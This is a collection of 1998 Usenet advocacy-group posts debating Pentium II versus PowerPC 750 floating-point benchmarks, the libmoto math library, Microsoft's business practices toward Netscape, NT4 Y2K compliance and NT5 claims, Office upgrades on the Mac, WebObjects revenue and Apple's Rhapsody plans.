>: registers are needed, the PII might do better than SPEC scores suggest.
>
>Why? The actual machine implmentation is very different from the
>programmer's
>model, and even when you "run out" of registers, it's not necessarily
>true that you have to go all the way out to memory to get the values.
But it is OFTEN, or at least SOMETIMES true that this is the case. Shadow
registers are all very well, but there's a limited number of them and data
still has to compete to some extent for use of the actual register file,
no?
My point is simply that the specific floating point algorithms and data
sets tested by SPECfp95 favor the PII *slightly* over the PPC 750 at a
given CPU clock and comparable memory subsystem.
A different mix of data and algorithms might favor one processor over the
other differently than SPEC suggests. And I tend to doubt that SPEC95fp
really tests the algorithms that games or multi-media apps use, so using
it as a predictor of CPU-performance for games is worthless.
Those are UNIX workstation app benchmarks, not game benchmarks.
And, since any high-end game is written by bit-level hackers, a generic
source code benchmark won't reflect much of anything, even if the
algorithms tested ARE the same, since games-programmers will spend hours
and hours to optimize to a specific architecture while SPEC rules don't
allow ANY platform-specific optimizations to be done unless the compiler
does them automatically.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Date: 19 Jun 1998 19:05:52 GMT
Organization: University of Maryland, College Park
Message-ID: <6mecqg$6er$1@hecate.umd.edu>
References: <6me0se$hrc$1@hecate.umd.edu> <B1AFFCC8-B77D2@206.165.43.105>
Lawson English (english@primenet.com) wrote:
: David T. Wang <davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu> said:
: Lawson English <english@primenet.com> said:
: > If the algorithm used can make use of lots and lots of registers, then
: the
: >: 750 might do better than the SPEC95fp scores suggest. OTOH, if fewer
: >than 8
: >: registers are needed, the PII might do better than SPEC scores suggest.
: >
: >Why? The actual machine implmentation is very different from the
: >programmer's
: >model, and even when you "run out" of registers, it's not necessarily
: >true that you have to go all the way out to memory to get the values.
: But it is OFTEN, or at least SOMETIMES true that this is the case. Shadow
: registers are all very well, but there's a limited number of them and data
: still has to compete to some extent for use of the actual register file,
: no?
Yes. But you are also limited in the number of phyiscal register that
you have. By the time you find an algorithm which would slam the
read/write buffers and the register files so hard, maybe 32 physical
registers wouldn't be enough either.
: My point is simply that the specific floating point algorithms and data
: sets tested by SPECfp95 favor the PII *slightly* over the PPC 750 at a
: given CPU clock and comparable memory subsystem.
: A different mix of data and algorithms might favor one processor over the
: other differently than SPEC suggests. And I tend to doubt that SPEC95fp
: really tests the algorithms that games or multi-media apps use, so using
: it as a predictor of CPU-performance for games is worthless.
I'm doing no such thing. All I wanted to do was to show that the generalized
statement that the 750 has a much better FPU than the Pentium II is wrong.
Ofcourse you may even find some algorithms that will perform better on
a 300 MHz 750 than a 400 MHz Pentium II, that is 100% true. That is not
the point of contention here.
: Those are UNIX workstation app benchmarks, not game benchmarks.
: And, since any high-end game is written by bit-level hackers, a generic
: source code benchmark won't reflect much of anything, even if the
: algorithms tested ARE the same, since games-programmers will spend hours
: and hours to optimize to a specific architecture while SPEC rules don't
: allow ANY platform-specific optimizations to be done unless the compiler
: does them automatically.
Sure, this is all true, but it doesn't prove or disprove whether a
Pentium II is better at FP than a G3 750 or vice versa.
: ----------------------------------------------------------------------
: Want Apple to license Cyberdog for third-party development? Go to:
: <http://www.pcsincnet.com/petition.html>
: ----------------------------------------------------------------------
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Fri, 19 Jun 1998 11:57:36 -0700
Organization: Great untill Apple cancelled the Newton
Message-ID: <macghod-1906981157370001@sdn-ar-001casbarp293.dialsprint.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <Euptyu.xy@haddock.cd.chalmers.se> <6mbdca$trv$1@hecate.umd.edu> <joe.ragosta-1806981348130001@wil45.dol.net> <6mbo49$bt6$1@hecate.umd.edu> <slrn6oj5oa.2i7.jason@jhste1.dyn.ml.org> <6mc6hc$obq$2@hecate.umd.edu> <joe.ragosta-1806982140420001@elk120.dol.net> <6mcgbq$abc$1@hecate.umd.edu> <joe.ragosta-1906980813580001@wil84.dol.net> <6me2ih$hrc$3@hecate.umd.edu> <joe.ragosta-1906981305340001@wil53.dol.net> <slrn6ol9sh.84m.jason@jhste1.dyn.ml.org>
In article <slrn6ol9sh.84m.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> Joe Ragosta posted the following to comp.sys.mac.advocacy:
>
> >Assuming that Linux is currently released for G3s, all you have to do is
> >show some benchmark scores on Linux to show that the FP is slow. You
> >haven't done that.
>
> You don't really want to go there, I don't think. Libmoto speeds some
> things up substantially (factor of 5 on average for the functions it
> contains), but the rest of our libm is pretty slow.
But isnt libmoto a SCAM? One of the first things I did when I got my new
g3 was look for libmoto. I emailed the owner of xlr8yourmac.com and asked
him if he knew the url to get it from, and he said that it doesnt really
affect *REAL WORLD* performance, that moto made it just to raise benchmark
speeds. He said his web page has more on this, and he gave me the url but
I never checked it, just took his word for it.
From: roger@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 19 Jun 1998 19:28:23 GMT
Organization: gte.net
Message-ID: <6medi1$6dd$4@news-2.news>
References: <6kkgk9$2h7$2@gte1.gte.net> <6kl05l$k1$1@inconnu.isu.edu> <slrn6mtk1e.2rc.jedi@dementia.mishnet> <uWKsMaFl9GA.268@upnetnews02.moswest.msn.net> <01bd949c$de9bbf80$8383050a@bgravitt.CORP.VHA.COM> <6lrj05$hlm$16@gte1.gte.net> <01bd9646$a1100260$8383050a@bgravitt.CORP.VHA.COM> <6m3272$s38$21@news-1.news.gte.net> <01bd9891$3b097f80$8383050a@bgravitt.CORP.VHA.COM> <6m5prg$9lu$1@news-2.news.gte.net> <01bd9954$da499580$8383050a@bgravitt.CORP.VHA.COM>
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On 16 Jun 1998 18:24:20 GMT, someone claiming to be VHA PC Development
wrote:
>Roger <roger@.> wrote in article <6m5prg$9lu$1@news-2.news.gte.net>...
>> On 15 Jun 1998 19:09:40 GMT, someone claiming to be VHA PC Development
>> wrote:
>> >Roger <roger@.> wrote in article <6m3272$s38$21@news-1.news.gte.net>...
>> >> On 12 Jun 1998 21:05:00 GMT, someone claiming to be VHA PC Development
>> >> wrote:
>> >> >Roger <roger@.> wrote in article <6lrj05$hlm$16@gte1.gte.net>...
>> >> >> On 10 Jun 1998 18:17:17 GMT, someone claiming to be VHA PC
>Development
>> >> >> wrote:
>> >> >> And can you back up that using an undocumented interface with out
>> >> >> payment to MS leads to legal action, and that MS apps freely use
>> >> >> these?
>> >> >The suit between Stac and Microsoft is a precedent setting event.
>> >> This was an interface in MS-DOS, used by MS-DOS. Your assertion is
>> >> that MS * apps * use these.
>> >Microsoft apps do use undocumented interfaces and hooks like these.
>What
>> >do you think Doublespace or Drivespace did in the same situation? I got
>> >it! Maybe when they copied allot of Stac's stuff they also copied the
>> >*illegal* function call that loaded Stac prior to calling CONFIG.SYS!
>> 1. This is what you have been asked to substantiate. Assertion !=
>> substantiation.
>I believe that I have substantiated the fact that Microsoft does use
>undocumented interfaces in their software. Enough on this subject.
Then will you kindly post the message id's in which you did so? I
have seen nothing but assertion, except where you have shown that the
OS uses undocumented interfaces in the OS.
>> 2. Double / DriveSpace was a feature of the OS. You have stated that
>> MS * Apps * use these interfaces. Feel free to post proof.
>Double / DriveSpace became a feature of the OS after they realized someone
>else was making money doing it. Can't have that now can we? Whether or
>not Drivespace is or is called an OS feature, does not change the fact that
>Microsoft uses undocumented interfaces. Tie your Drivespace clause and the
>fact that you will not accept the fact that Microsoft uses undocumented
>interfaces together if you want; you could call it a fact too but that
>would be stretching an untruth to the point of breaking.
Once again: What MS App (being developed by a different group within
MS) routinely uses such undocumented interfaces?
>> 3. They did not copy * any * of Stac's stuff. They licensed a
>> technology which was found to infringe on Stac's patent. This is not
>You are right in saying that using a technology is not the same as copying
>code. The same results were arrived at though.
So, I can count on you not to characterize the situation this way
again, since you say that I am right in correcting you?
>> 4. You also seem to forget that Stac was found guilty of stealing the
>> code behind compression preload.
>Not the code here either, just the interface requirements. i.e. reverse
>engineering to arrive at a machine or assembler listing is *NOT* the same
>as copying their code. They found out how the function worked and
>replicated it.
No, they disassembled and used the code.
>> >> >> Someone posted two examples, hardly enough to call a trend.
>> >> >If they do it at all then they do it. Right?
>> >> No. The assertion was "freely." Were it that common, there would be
>> >> more than two rather weak examples.
>> >I reiterate that if they use undocumented interfaces at all then they
>are
>> >not competing with their competitors on a level playing field. Is this
>a
>> >grey area for you? It's OK for Microsoft to use interfaces and
>functions
>> >in their application software that only they know about? Talk about
>> >stacking the odds in their favor - sheesh!
>> I never said it was okay. Read what I write, not what you think I
>> must have meant, please?
>Just because there were only two *documented* instances as you refer to
>them, doesn't mean that there are not more. My point is, don't incarcerate
>a Microsoft competitor for doing the very thing that Microsoft does.
>Double-standards are so out of style.
When have I ever advocated incarcerating anyone in these threads?
And the point was that you say "if they use" and move forward on the
assumption that they have. You offer not one shred of evidence that
this occurs.
If you have * proof * that there are more instances of this happening,
feel free to post them.
>> I am saying that the statement that MS apps "freely" use such
>> interfaces is an exaggeration, given that in the close to 20 years
>> they have been writing apps and OSes, only two instances of such use
>> have been presented.
>Microsoft has admitted that there is no "Chinese wall" between their
>application and operating system segments of development. Why then would
>you think that the app division wouldn't take such an advantage?
I'm not saying they wouldn't. You have made a definitive statement on
this topic which I know to be false. You did not say "they might be,"
you did not say "they could be," you said they have and still do this
freely.
>> >> But the assertion was that MS was ... shutting out the competition.
>> >> Your statement that when they get some experience users find out about
>> >> NS would tend to rebut that. Or do you contend that MS is actively
>> >> suppressing the accumulation of such experience?
>> >Most new computer users are inexperienced; the concepts go hand in hand.
>> >
>> >Meaning that a great many of computer users today are new users and will be
>> >inexperienced for quite a while yet. As such, they are being indoctrinated
>> >into Windows exclusively and not being allowed the chance to know that
>> >there is anything different. I was one of these people at one time.
>> How are they being indoctrinated in to Windows exclusivity? Who is
>> preventing them from learning that there is something else? MS is
>> merely using offering the functionality that it seems the market
>> wants. If this works good enough for most folks, then MS has done the
>> job it set out to do.
>Microsoft does NOT merely offer anything - they say here it is - buy this
>because we say so.
When did this marketing campaign occur? I must have missed it.
>They go in and hire the programmers right out from
>under their competition or buy the competition outright!
A not uncommon practice in this industry.
>Paying for
>advertising is one thing but paying or coercing an advertiser to remove a
>competitor's advertising is cutthroat and possibly illegal.
And also a fantasy in this case, since MS has done no such thing.
>> >As for MS actively suppressing the accumulation of experience and
>> >competition... When viewed in the full light of day without all the cheap
>> >rhetoric of fearful Windows advocates afraid that they'll have their game
>> >machines taken away, the facts still stand.
>> What facts support your statement that MS is actively suppressing the
>> accumulation of experience on the part of it's users?
>Windows users (forgive me - I used to be one exclusively) are largely
>brainwashed by a constant barrage of Microsoft propaganda. You see little
>Microsoft adds like "Any friend of UNIX is a friend of NT" on websites yet
>Microsoft withholds licensed NT documentation and code from the originator
>of UNIX - AT&T! Doesn't sound too friendly to me. NT5 is being touted as
>the greatest thing yet wont be ready for quite a while yet. Some very
>powerful companies are turning blue holding their breath. By the time
>MERCED ships it'll be a dead issue.
Once again * answer the question *! What facts support your statement
that MS is actively suppressing the accumulation of experience on the
part of it's users?
>> >(LINUXer's play games too.)
>> >Microsoft is using lots of money to buy support for their operating system
>> >just like a candidate for office with lots of money for advertising
>> >typically wins over the less financially capable candidate. However, every
>> >once in a while a contender with powerful ambitions and impeccable
>> >integrity comes along and dethrones the incumbent. Microsoft was going
>> >around and telling the Internet Content Providers that they had to play
>> >ball. Take the Netscape Now buttons off your webpages and REPLACE them
>> >with IE buttons and we'll pay you.
>> Or don't and we won't. A simple business deal.
>A prime example of exactly the kind of thing that destroys competition. I
>like the idea of free capitalism but in it's most pristine and uncontrolled
>state, can get mighty one sided fast. Maybe the government should shell
>out a few bucks to Netscape like they did Chrysler?
How does this destroy competition? NS was fully capable of striking
the same deal -- how do you think the NS Now buttons got there to
begin with?
>> >ISP's were given similar disincentives
>> >to resist like: Play ball with Microsoft and we'll put you in our ICW and
>> >if they resisted, they they would offer them money - lots of it.
>> Yes, it was worth a lot of money for MS to get that exposure. Nothing
>> inherently evil about that.
>To get exposure would be to put your button there next to Netscape rather
>than pull Netscape's off and replace it with your own. If these
>commercialization's of the Net continue then you can expect increased
>government intervention - you can thank Microsoft for helping in a big way
>to drive that.
Why would the continued commercialization of the Net require
intervention?
>> >Microsoft
>> >even played a version of Spain and Portugal dividing the world between them
>> >during the colonial period in which Netscape refused to surrender the
>> >Windows market to MS.
>> And your proof of this story is? All I have read is that NS alleges
>> this occurred. And why shouldn't they be honest about it? I mean,
>> it's not like they have any kind of vested interest in hurting MS, now
>> is it?
>Can you prove it didn't occur? Are you calling the folks at Netscape
>liars? Microsoft has not denied that the incident occurred to my
>knowledge.
Then your knowledge on this topic, like several others in this post
alone, is sadly lacking. A negative such as this cannot, by
definition, be proved. You made the assertion: back it up or qualify
it.
>> >MS then bought rights to Mosaic, modified it and
>> >changed it's name to IE, finally giving it away for free. When they
>> >couldn't make any more inroads to Netscape's marketshare, they had to
>> >resort to illegal activities of which they are now being prosecuted for.
>> >
>> >I'd say that Netscape is just the tip of the iceberg.
>> Voicing your opinion, when it's presented as opinion, I have no
>> problem with. Just don't claim your opinion as fact and expect that
>> you mightn't be called upon to support it with hard fact.
>My paraphrases were drawn from the posted news (news that was not refuted
>by Microsoft itself) and from the DOJ and State complaint text. The
>definition of a fact is a theory that has withstood the test of time. If
>it has not been refuted then it may be considered factual until proven
>otherwise.
Oh, sorry, I didn't realize you were a visitor from MaxWorld. Here on
Earth, if you want to be taken seriously, you use actual facts to back
up what you're saying. Your paraphrases were not paraphrases of fact,
but of allegations which have yet to be substantiated. If you want to
present them as fact, you will need to provide that substantiation.
OTOH, if you want to clearly state that these are allegations on which
the jury is still out, then such substantiation would not be needed.
>> >> And NS is hardly extinguished. They still own > 50 of the market.
>> >Because they are a vital (not willing to lay down and die) company not
>> >because Microsoft is guiltless.
>> Then you are retracting your statement that MS has nearly extinguished
>> NS?
>No. Netscape has moved into related markets.
NS has always been in those related markets. Since you did not
retract, you'll need to substantiate that MS has nearly extinguished
them.
>> >> >> > Yes, it may be easier for you as a developer (that's for you to
>> >decide)
>> >> >> >but just remember, almost all your technology comes from one place
>-
>> >> >> >Microsoft yet there is a whole world outside of Redmond, WA for
>LINUX
>> >to
>> >> >> >benefit from.
>>
>> >> >> Yeah, and those pesky file dialogs all come from them too. But
>wait:
>> >> >> a developer could write their own dialogs, if they wanted. So it's
>> >> >> not the same thing.
>>
>> >> >Which puts you OUTSIDE of Redmond most likely.
>>
>> >> Huh?
>> >You being outside of Redmond is a figure of speech. You are not part of
>> >Microsoft are you? If not then you are little fish to be fried someday.
>> And this rebuts my point (which you split in half) exactly how?
>Some companies HAVE created their file dialogs. Delphi and C++Builder are
>gaining ground with almost NO advertising due to the fact that they are
>world-class products that stand solely on the basis of technical merit and
>user popularity. You can do things with Delphi standard that VB
>programmers only wish they could do. Also, the fact that the language used
>is more capable right off the drawing board than the oft modified and
>underpowered basic language.
And this rebuts my point exactly how? In case you didn't get it, my
point is that file dialogs, rendering code, printer drivers -- these
are all thing that MS provides in Windows. And if a developer does
not want to make use of them, they are free to develop their own. Of
course, most don't since it generally makes more sense to concentrate
of those features which will sell product (into which category most
would agree a files dialog does not fall.)
>> >> >> But wait: a developer could write their own code to render HTML in
>> >> >> their app, if they wanted, too. Guess it is...
>> >> >The point is NOT whether someone could write their own code - the
>> >> >developers of LINUX did that; the point is that as developers get locked
>> >> >into Microsoft solutions then their codebase is largely limited to
>> >> >Microsoft and to a lesser extent, compatible operating systems.
>> >> Yeah, and if you develop for MacOS, you're limited to that market.
>> >> Except that the Windows market is far bigger, so your chances are
>> >> better there.
>> >Exactly why MacOS is so limited in what is available in third-party
>> >software. What software there is is VERY good but not enough of it. Apple
>> >just didn't advertise like Microsoft did also cost allot more. There are
>> >versions of LINUX for just about every hunk of computer hardware in
>> >existence - programs are nearly all crossplatform and those that aren't are
>> >pretty easily modified meaning LINUX is the operating system for the world
>> >rather than just the US Apple users can get LINUX and install it, i386,
>> >SPARC, Alpha, etc... etc...etc... You as a developer should be able to see
>> >the potential for future profit that LINUX can afford you in cross platform
>> >availability - before you know it, all flavors of UNIX not just LINUX will
>> >be enjoying the common multimedia capabilities now available on LINUX.
>> But writing Windows software is far more likely to pay my bills
>> * today *. And my point is, that if you didn't want to use the common
>> dialogs and other system services available from Windows, you would
>> not have to. OTOH, why reinvent the wheel for something as trivial as
>> a file dialog? I'd much rather concentrate on the features I hope
>> will cause John Q Public to purchase my app, which I seriously doubt a
>> new common dialog would do.
>But but but... what about your tomorrow? I will create my own file
>dialogue if I want to - I may want to provide functionality not included in
>the standard file dialogue.
And you are free to do so, which has been my point.
>> No. You just said you won't be able to get very far developing
>> Windows apps without MS's tools. Unless you are retract that
>> statement, we don't agree at all.
>I will retract it so far as to say that you can develop without MS tools
>yes. I've said so myself. My point is that it is not in the MS plan for
>you to continue to do so.
And I should care about MS's plans ... why? Worst case, they change
Windows so that you have to use their tools to develop. Which will
lead directly to an explosion of development on other OSes.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 19 Jun 1998 19:29:33 GMT
Organization: I don't think so
Message-ID: <slrn6olfcv.97d.jason@jhste1.dyn.ml.org>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <Euptyu.xy@haddock.cd.chalmers.se> <6mbdca$trv$1@hecate.umd.edu> <joe.ragosta-1806981348130001@wil45.dol.net> <6mbo49$bt6$1@hecate.umd.edu> <slrn6oj5oa.2i7.jason@jhste1.dyn.ml.org> <6mc6hc$obq$2@hecate.umd.edu> <joe.ragosta-1806982140420001@elk120.dol.net> <6mcgbq$abc$1@hecate.umd.edu> <joe.ragosta-1906980813580001@wil84.dol.net> <6me2ih$hrc$3@hecate.umd.edu> <joe.ragosta-1906981305340001@wil53.dol.net> <slrn6ol9sh.84m.jason@jhste1.dyn.ml.org> <macghod-1906981157370001@sdn-ar-001casbarp293.dialsprint.net>
Steve Sullivan posted the following to comp.sys.mac.advocacy:
>But isnt libmoto a SCAM? One of the first things I did when I got my new
>g3 was look for libmoto. I emailed the owner of xlr8yourmac.com and asked
>him if he knew the url to get it from, and he said that it doesnt really
>affect *REAL WORLD* performance, that moto made it just to raise benchmark
>speeds. He said his web page has more on this, and he gave me the url but
>I never checked it, just took his word for it.
If you use the functions it provides, they will make your program faster.
However, they _may_ not be IEEE-compliant (this was a subject of some
discussion on the linux-pmac list a few weeks ago).
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Fri, 19 Jun 1998 10:53:32 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1906981053320001@dante.eng.uci.edu>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <6m7gri$lbs$2@news.xmission.com>
In article <6m7gri$lbs$2@news.xmission.com>, don@misckit.com wrote:
>There's also a rather amusing conundrum here: some of the fiercest Mac
>advocates, the ones who will _never_ under any circumstance admit that the
>holy Macintosh could possibly have a flaw, are also some of the quickest to
>upgrade. If it didn't have any flaws, why did you upgrade? How exactly does
>this upgrade improve upon perfection?
Ah! Why do some people upgrade when it is clear that their systems work
perfectly well now?
Dependence on proprietary file formats.
How many people are right now upgrading old Macs so that they can run
Office 98 and thereby read and output all of those Windows Office 97 files
that they receive? TONS.
The *only* way to stay reasonably compatable is to be up-to-date with the
current crop of apps. Each new version of app generally sucks down twice
as many CPU cycles as the previous version for various reasons. Therefore,
in order to stay compatable, you need to buy new software which eventually
demands new hardware.
A *lot* of Mac people didn't upgrade their systems because Office was out
of sync with the Windows version. Since you had compatability problems
_anyway_, why not just stick with Word 5.1 which runs fine on an 040?
Now MS has made us Mac people equal citizens and we're jumping at the
chance to fix the perception that we are difficult to deal with (in a file
standard kind of way).
So upgrading my systems is not admission of imperfection in old
hardware... conundrum avoided. <whew>
-Bob Cassidy
From: Bill Bumgarner <bbum@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Fri, 19 Jun 1998 15:42:01 -0400
Organization: Spacelab.net Internet Access
Message-ID: <Pine.NXT.3.96.980619153741.5036M-100000@pathos>
References: <*johnnyc*-1506980054340001@jchristie.halifaxcable.dal.ca> <B1A9ED45-3B7DF@206.165.43.122> <6m2gro$cci$1@news.digifix.com> <6m2nh8$irr$3@bolivia.it.earthlink.net> <3585477a.0@news.depaul.edu> <6m45j1$nun$1@suriname.it.earthlink.net> <6m620a$d9i$2@news.spacelab.net>
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To: "Charles W. Swiger" <chuck@codefab.com>
In-Reply-To: <6m620a$d9i$2@news.spacelab.net>
His figure is just plain bullshit [this is advocacy, right, i can say
that?].
I could see, maybe, $2M for JUST software licenses-- but even that is low
considering the vast number of sites using it.
But software licenses are a very small part of the profit geeneration for
WO; most of the revenue stream is generated by Apple selling consulting
services.
Standard & Poor's, the USPS, McCall Cellular, MCI, Sharper Image, Dell (at
one point), Club Med, CyberSlice, and a number of other sites were all
built using some degree of paid-for Apple provided assistance. Much more
than $2 million worth of profit....
b.bum
On 16 Jun 1998, Charles W. Swiger wrote:
> "Ziya Oz" <ZiyaOz@earthlink.net> wrote:
> [ ... ]
> > Wishful thinking, but $2M is ALL the *profit* the entire WebObjects
> > operation had.
>
> References?
>
> -Chuck
>
> Charles Swiger | chuck@codefab.com | standard disclaimer
> ---------------+-------------------+--------------------
> "Microsoft: we make the easy almost impossible."
>
>
From: Look@the.signature (John Wiltshire)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Upgrade ASAP (was: Re: Skip NT 5.0)
Date: Sun, 21 Jun 1998 03:02:51 GMT
Organization: Traffic Systems Development
Message-ID: <358c71a4.807611@news.uq.edu.au>
References: <6lk75t$afl@newsb.netnews.att.com> <357EFD28.ABD322C@ctron.com> <6lopaf$86v@newsb.netnews.att.com> <petrichEuErw6.CLq@netcom.com> <6lrc8p$ff1@newsb.netnews.att.com> <casper-1806980728410001@wheat-a-06.monroeville.nb.net> <35897138.7D4B9D67@alum.mit.edu> <joe.ragosta-1906980830370001@wil84.dol.net> <358b7064.1006817@news.uq.edu.au> <casper-2006980623200001@wheat-a-23.monroeville.nb.net> <358b9d4e.12504780@news.uq.edu.au> <casper-2006980817360001@wheat-a-42.monroeville.nb.net>
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On Sat, 20 Jun 1998 08:17:35 -0400, casper@nb.net (Tim Scoff) wrote in
comp.sys.mac.advocacy:
>In article <358b9d4e.12504780@news.uq.edu.au>, Look@the.signature (John
>Wiltshire) wrote:
>
>>On Sat, 20 Jun 1998 06:23:19 -0400, casper@nb.net (Tim Scoff) wrote in
>>comp.sys.mac.advocacy:
>>
>>>In article <358b7064.1006817@news.uq.edu.au>, Look@the.signature (John
>>>Wiltshire) wrote:
>>>>And the fact that NT4 is currently y2k compliant with only 4 minor
>>>>issues - one of which isn't even an NT issue but an Office issue and
>>>>another is fixed by IE4. The others aren't even showstoppers and most
>>>>users won't even encounter the difficulties.
>>>
>>> MS has admitted to 4 minor issues. What haven't they admitted to?
>>
>>I don't see that hiding issues will benifit MS in any way. In fact,
>>by publicising their y2k problems the way they have I think that they
>>are going to be best served by finding every bug they can and telling
>>everyone about it.
>>
>>John Wiltshire
>
> You're assuming that MS is being honest. I'm assuming that they're
>following their existing track record of admitting to nothing negative
>that they don't have to admit to.
I'm not assuming MS is being honest. I'm assuming they want to
maximise their profits and they aren't going to do that by being
dishonest in this case.
Given the recent case against Intuit where users had to be compensated
for non-y2k products, I don't follow your assumption that MS has
anything to gain by not publicising its non-compliance issues.
> They are pre-selling NT 5 with the following claims:
>It fixes thousands of bugs from NT 4
I haven't heard this one. In fact, I thought this was what service
packs were for?
>It is year 2K compliant
Yes, but this isn't in reference to other versions of NT. It is a
statement of fact.
>It will have a better way than trusts to manage large networks
You forgot a few others: extensible directory, MMC, intellimirror,
NTFS5, PnP, OnNow, better support for >4G memory etc.
> Now if they are trying to pre-sell NT 5.0 to people who currently have
>NT 4.0 by making those claims and more they are in the same breath
>admitting that their stable, scalable, industrial strength NOS has some
>serious shortcomings today that they weren't willing to admit to for the
>last 2 years while they were selling it and didn't have anything else
>available.
NT5 is available? Could have fooled me. All the press I've seen has
Microsoft selling NT4 for all it is worth.
The major shortcoming that they are admitting NT4 has is its directory
services. NOT y2k or bugs.
>My assumption based on this track record is that there may be
>some hidden issues with NT 4.0 that MS hasn't admitted to yet.
Again, what is their business case for not admitting this? All you've
said is that they are trying to move people from NT4 to NT5 and that's
a business case for admitting as many shortcomings as possible, not
hiding them.
>Are you
>willing to risk your enterprise network based on marketing hype when the
>technology behind the hype is being designed to have the ease of use the
>Mac has, the directory services than Novell has, the stability that Unix
>has, and the scalability that Unix has? Especially when it has been
>proven time and time again that they haven't managed to hit any of those
>goals when they promised to hit them? And the company that is promising
>to deliver those goals has been saying, "this time we really mean it" when
>asked why they didn't deliver those features the last time they promised
>them?
Huh? I just don't get where you've pulled these goals from. As far
as I am aware, the design goals of NT (in order of priority) were:
1. Robustness
2. Extensibility and Maintainability
3. Portability
4. Performance
5. POSIX and C2
I don't recall MacOS ever having any real 'ease of use' as far as a
network F&P server goes (at least for Windows clients). I don't
recall NT ever having something to compete with NDS - that's what they
are touting Active Directory as. They DO claim to beat Netware and
Unix in F&P performance however. I believe NT does have the stability
of Unix and the potential for scalability.
In a word, you argument is a strawman.
> I'm not willing to risk trusting them until after I have a final
>release version of the product in my hands. They've sold vapor based on
>false promises too many times. And I say the same thing about Apple.
>Until I have a final release OS in my hands I won't believe any of their
>press releases.
Sure. Whatever. As far as Active Directory goes - it does exist and
I have a beta CD to prove it. You can believe what you like.
John Wiltshire
------------------------------------------------------
John Wiltshire | (w) +61 7 38342783
jw@qits dot net dot au | (m) +61 417 797897
------------------------------------------------------
Fear: when you see B8 00 4C CD 21 and you know what it means.
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net> <35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net> <slrn6odnt9.ckr.sal@panix3.panix.com> <6m68ie$fg$1@ns3.vrx.net> <6m6u1h$o8d$1@cronkite.cygnus.com> <6m6gbe$fg$5@ns3.vrx.net> <35878565.0@206.25.228.5> <6m8628$dbl$4@ns3.vrx.net> <35880e76.0@206.25.228.5> <6m8k69$dbl$24@ns3.vrx.net> <35894345.0@206.25.228.5> <6mbavk$1dl$1@ns3.vrx.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <358b1342.0@206.25.228.5>
Date: 20 Jun 98 01:41:22 GMT
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <35894345.0@206.25.228.5> John Kheit claimed:
> > Do you remember from what you got this impression?
> Not really, no, and I've been second guessing myself ever since.
> > blurbs I recall from apple were that CR on up would have a
> > mach3 kernel. Which makes little sense to go to a CR without
> > testing the new kernel in DR, so I think you're likely right.
> That's the issues IIRC. I just remember them saying that CR
> was going to be DR for all intents and purposes.
Okee dokee. Good enough for me. Thanks much for the clue. :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: Fri, 19 Jun 1998 19:38:30 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6meenl$99n$1@nnrp1.dejanews.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <slrn6oih6d.k93.sal@panix3.panix.com> <6mbnr8$1uu$3@news.xmission.com <6mdae7$2d1$1@news.cs.tu-berlin.de> <358A75A3.CF50528A@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
> Honestly, did Apple need NeXT? Or, more appropriately, is there anything
> Apple can do with NeXT? ....
